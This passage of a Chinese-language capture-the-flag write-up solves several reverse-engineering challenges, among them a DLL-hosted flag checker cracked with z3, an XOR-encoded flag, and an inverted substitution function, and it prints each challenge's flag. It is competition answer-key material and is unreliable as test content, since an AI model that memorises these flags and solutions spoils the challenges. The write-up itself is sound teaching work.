TSC{f1ar4On11_7_u_cAN_ch4ck_lt_0ut!!!!!} ``` ### Real Chrome 這題是給了一個 chrome,會在 `Application` 下看到一個奇怪的 `VERSION.dll`,在 `DLLMain` 中會執行一些東西。 動態下來看,他去讀了 `flag.txt` 並且經過一個 flag checker: ```cpp bool __fastcall sub_180001770(char *a1) { int v1; // edi int v2; // edx int v3; // ebx int v4; // r10d int v5; // esi int v6; // r11d int v7; // r14d int v8; // r8d int v9; // r9d int v10; // ebp int v11; // r12d int v12; // r15d int v13; // r13d int v14; // ebx int v15; // edx int v16; // r12d int v17; // r13d int v18; // r14d int v19; // eax int v20; // r12d int v21; // r10d int v22; // r12d int v23; // r8d int v24; // edi int v25; // r15d int v26; // ebx int v27; // esi int v28; // edx int v30; // [rsp+0h] [rbp-98h] int v31; // [rsp+4h] [rbp-94h] int v32; // [rsp+8h] [rbp-90h] int v33; // [rsp+Ch] [rbp-8Ch] int v34; // [rsp+10h] [rbp-88h] int v35; // [rsp+14h] [rbp-84h] int v36; // [rsp+18h] [rbp-80h] int v37; // [rsp+1Ch] [rbp-7Ch] int v38; // [rsp+20h] [rbp-78h] int v39; // [rsp+24h] [rbp-74h] int v40; // [rsp+28h] [rbp-70h] int v41; // [rsp+2Ch] [rbp-6Ch] int v42; // [rsp+30h] [rbp-68h] int v43; // [rsp+34h] [rbp-64h] int v44; // [rsp+3Ch] [rbp-5Ch] int v45; // [rsp+44h] [rbp-54h] int v46; // [rsp+48h] [rbp-50h] int v47; // [rsp+A0h] [rbp+8h] int v48; // [rsp+A8h] [rbp+10h] int v49; // [rsp+B0h] [rbp+18h] int v50; // [rsp+B8h] [rbp+20h] v1 = a1[9]; v2 = a1[24]; v31 = a1[26]; v47 = v1; if ( v31 + v1 + v2 != 331 ) return 0; v3 = a1[20]; v4 = a1[14]; v39 = a1[21]; v42 = v3; if ( v39 + v4 + v3 != 230 ) return 0; v5 = a1[18]; v6 = a1[23]; v49 = *a1; if ( v6 + v5 + v49 != 313 ) return 0; v7 = a1[8]; v8 = a1[28]; v37 = v7; if ( v4 + v7 + v8 != 267 ) return 0; v9 = a1[6]; v10 = a1[10]; v43 = a1[4]; if ( v10 + v9 + v43 != 249 ) return 0; v34 = a1[16]; v36 = a1[3]; if ( v6 + v36 + v34 != 342 ) return 0; v11 = a1[35]; v40 = v11; if ( v5 + v11 + v9 != 284 ) return 0; v12 = a1[13]; v13 = a1[33]; v45 = a1[7]; v32 = v12; if ( v13 + v12 + v45 != 205 ) return 0; if ( v13 + 2 * v3 != 301 ) return 0; v38 = a1[30]; v14 = a1[5]; v46 = a1[15] + v38; if ( v14 + v46 != 209 ) return 0; v48 = a1[32]; if ( v2 + v6 + v48 != 357 ) return 0; v50 = a1[34]; if ( v9 + v11 + v50 != 272 ) return 0; if ( v8 + v13 + a1[4] != 315 ) return 0; if ( v7 + a1[15] + a1[16] != 280 ) return 0; if ( a1[30] + 2 * v13 != 317 ) return 0; v15 = a1[11]; v16 = a1[32]; v33 = v15; if ( a1[7] + v15 + v16 != 215 ) return 0; if ( v5 + v15 + v9 != 210 ) return 0; v17 = a1[17]; if ( a1[3] + v14 + v17 != 245 ) return 0; v18 = a1[31]; v19 = v18 + v16; v20 = a1[20]; if ( v20 + v19 != 325 ) return 0; v30 = a1[27]; if ( v9 + v30 + a1[34] != 244 ) return 0; v41 = v12 + v1; v35 = a1[2]; v21 = a1[14]; if ( v12 + v1 + v35 != 224 ) return 0; if ( v20 + v21 + a1[7] != 188 ) return 0; if ( v6 + v10 + v17 != 292 ) return 0; v22 = a1[1]; if ( v5 + v22 + v8 != 297 ) return 0; v23 = a1[29]; if ( v6 + v23 + v22 == 299 && v12 + v23 + v18 == 257 && v9 + v17 + a1[16] == 222 && v1 + v12 + v17 == 230 && (v44 = a1[26] + a1[33], a1[15] + v44 == 280) && v31 + v6 + a1[21] == 310 && v1 + v12 + v6 == 276 && (v24 = a1[22], v6 + v24 + a1[8] == 353) && v14 + 2 * v17 == 195 && (v25 = a1[25], v26 = a1[12], v47 + v26 + v25 == 298) && (v27 = a1[18], v6 + a1[4] + a1[35] == 344) && v27 + a1[27] + a1[35] == 332 && (v28 = a1[19], v9 + v28 + v30 == 249) && v48 + v30 + v33 == 267 && v21 + v33 + v48 == 218 && v21 + v49 + v50 == 230 && v33 + v30 + v17 == 221 && v37 + v10 + v48 == 334 && v50 + v26 + v18 == 304 && v22 + v38 + v50 == 276 && v39 + v26 + v23 == 279 && v34 + 2 * v24 == 338 && v31 + v49 + v40 == 313 && v37 + v18 + v10 == 326 && v21 + v18 + v27 == 269 && v47 + v27 + v32 == 267 && v50 + v23 + v35 == 262 && v17 + v23 + v30 == 267 && v35 + v25 + v23 == 259 && v10 + v28 + v35 == 270 && v41 + v49 == 241 && v21 + v34 + v33 == 199 && v42 + 2 * v36 == 341 && v21 + v43 + v36 == 271 && v10 + v25 + v32 == 244 && v10 + v28 + a1[15] == 268 && v6 + v44 == 334 && v27 + v38 + v50 == 303 && v18 + 2 * v21 == 207 && v31 + v23 + v10 == 301 && a1[33] + v18 + v48 == 341 && v21 + v17 + v49 == 205 && v32 + v28 + v26 == 247 && v46 + v45 == 205 ) { return v47 + v35 + v6 == 294; } else { return 0; } } ``` 這個東西可以很簡單的用 z3 去解出來: ```python data = """ v1 = a1[9]; v2 = a1[24]; v31 = a1[26]; v47 = v1; if ( v31 + v1 + v2 != 331 ) return 0; v3 = a1[20]; v4 = a1[14]; v39 = a1[21]; v42 = v3; if ( v39 + v4 + v3 != 230 ) return 0; v5 = a1[18]; v6 = a1[23]; v49 = a1[0]; if ( v6 + v5 + v49 != 313 ) return 0; v7 = a1[8]; v8 = a1[28]; v37 = v7; if ( v4 + v7 + v8 != 267 ) return 0; v9 = a1[6]; v10 = a1[10]; v43 = a1[4]; if ( v10 + v9 + v43 != 249 ) return 0; v34 = a1[16]; v36 = a1[3]; if ( v6 + v36 + v34 != 342 ) return 0; v11 = a1[35]; v40 = v11; if ( v5 + v11 + v9 != 284 ) return 0; v12 = a1[13]; v13 = a1[33]; v45 = a1[7]; v32 = v12; if ( v13 + v12 + v45 != 205 ) return 0; if ( v13 + 2 * v3 != 301 ) return 0; v38 = a1[30]; v14 = a1[5]; v46 = a1[15] + v38; if ( v14 + v46 != 209 ) return 0; v48 = a1[32]; if ( v2 + v6 + v48 != 357 ) return 0; v50 = a1[34]; if ( v9 + v11 + v50 != 272 ) return 0; if ( v8 + v13 + a1[4] != 315 ) return 0; if ( v7 + a1[15] + a1[16] != 280 ) return 0; if ( a1[30] + 2 * v13 != 317 ) return 0; v15 = a1[11]; v16 = a1[32]; v33 = v15; if ( a1[7] + v15 + v16 != 215 ) return 0; if ( v5 + v15 + v9 != 210 ) return 0; v17 = a1[17]; if ( a1[3] + v14 + v17 != 245 ) return 0; v18 = a1[31]; v19 = v18 + v16; v20 = a1[20]; if ( v20 + v19 != 325 ) return 0; v30 = a1[27]; if ( v9 + v30 + a1[34] != 244 ) return 0; v41 = v12 + v1; v35 = a1[2]; v21 = a1[14]; if ( v12 + v1 + v35 != 224 ) return 0; if ( v20 + v21 + a1[7] != 188 ) return 0; if ( v6 + v10 + v17 != 292 ) return 0; v22 = a1[1]; if ( v5 + v22 + v8 != 297 ) return 0; v23 = a1[29]; if ( v6 + v23 + v22 == 299 && v12 + v23 + v18 == 257 && v9 + v17 + a1[16] == 222 && v1 + v12 + v17 == 230 && (v44 = a1[26] + a1[33], a1[15] + v44 == 280) && v31 + v6 + a1[21] == 310 && v1 + v12 + v6 == 276 && (v24 = a1[22], v6 + v24 + a1[8] == 353) && v14 + 2 * v17 == 195 && (v25 = a1[25], v26 = a1[12], v47 + v26 + v25 == 298) && (v27 = a1[18], v6 + a1[4] + a1[35] == 344) && v27 + a1[27] + a1[35] == 332 && (v28 = a1[19], v9 + v28 + v30 == 249) && v48 + v30 + v33 == 267 && v21 + v33 + v48 == 218 && v21 + v49 + v50 == 230 && v33 + v30 + v17 == 221 && v37 + v10 + v48 == 334 && v50 + v26 + v18 == 304 && v22 + v38 + v50 == 276 && v39 + v26 + v23 == 279 && v34 + 2 * v24 == 338 && v31 + v49 + v40 == 313 && v37 + v18 + v10 == 326 && v21 + v18 + v27 == 269 && v47 + v27 + v32 == 267 && v50 + v23 + v35 == 262 && v17 + v23 + v30 == 267 && v35 + v25 + v23 == 259 && v10 + v28 + v35 == 270 && v41 + v49 == 241 && v21 + v34 + v33 == 199 && v42 + 2 * v36 == 341 && v21 + v43 + v36 == 271 && v10 + v25 + v32 == 244 && v10 + v28 + a1[15] == 268 && v6 + v44 == 334 && v27 + v38 + v50 == 303 && v18 + 2 * v21 == 207 && v31 + v23 + v10 == 301 && a1[33] + v18 + v48 == 341 && v21 + v17 + v49 == 205 && v32 + v28 + v26 == 247 && v46 + v45 == 205 ) { return v47 + v35 + v6 == 294; } """ import re data = data.replace(" && ", "") data = data.replace("if ( ", "") data = data.replace(")", "") data = data.replace(", ", "\n") data = data.replace("(", "") data = data.replace(" return 0;\n", "") data = data.replace(" return ", "") data = data.replace("{\n", "") data = data.replace("}\n", "") data = data.replace("else\n}", "") data = data.replace(";", "") data = data.replace(" ", "") data = data.replace(" != ", " == ") # print(data) k = re.findall(r"v[0-9]* = [^\n]*\n", data) k.sort(key=lambda x: int(x.split(" = ")[0][1:]), reverse=True) # print(k) for i in k: a, b = i.strip().split(" = ") data = data.replace(i, "") data = data.replace(a, b) data = data.split("\n")[:-1] from z3 import * data = [i for i in data if "*" not in i] s = Solver() a1 = [BitVec(f"a1[{i}]", 8) for i in range(36)] for i in data: s.add(eval(i)) # print(eval(i)) # print(i) s.check() model = s.model() for i in a1: print(chr(model[i].as_long()), end="") #TSC{d11-sld3_10AdIng_Wwww_haha_owob} ``` ### What_Happened 這題算是通靈出來的,他有個 encrypt flag,然後我發現把他每個 byte 都 xor `\xaa` 就出來了 ```python def xor(a: bytes, b: bytes): return bytes(x ^ y for x, y in zip(a, b)) ct = bytes.fromhex("FEF9E9D1E3F5FEC2C3C4C1F5D3C5DFF5ECC3D2F598C5C7CFF599D8D8C5D8D7") print(xor(ct, b"\xaa" * len(ct))) # TSC{I_Think_you_Fix_2ome_3rror} ``` ### Chill Checker 他給了一個 complex_function: ```cpp unsigned int complex_function(int a1, int a2) { if ( a1 <= 64 || a1 > 90 ) { puts("Go to reverse, please."); exit(1); } return (unsigned int)((a1 - 65 + 31 * a2) % 26 + 65); } ``` 把它倒過來寫拿到輸入: ```cpp #include<bits/stdc++.h> using namespace std; string s = "SGZIYIHW"; string out = ""; int main(){ for(int i = 0; i <= 7; i++){ out.push_back(((s[i] - 65 - 31 * (i + 8)) % 26 + 26) % 26 + 65); cout << ((s[i] - 65 - 31 * (i + 8)) % 26 + 26) % 26 + 65 << "\n"; } cout << out; } ``` 然後執行時輸入 code,就能拿到 flag: `TSC{t4k3_1t_3a$y}` ### Gateway to the Reverse ```cpp printf("\nEnter the access key: "); __isoc99_scanf("%99s", s1); sub_13D0(v4, s2); if ( !strcmp(s1, s2) ){ ... } ``` 就直接動態去看 `s2` 的值就好: ![image](https://hackmd.io/_uploads/SyAT2zHvJe.png)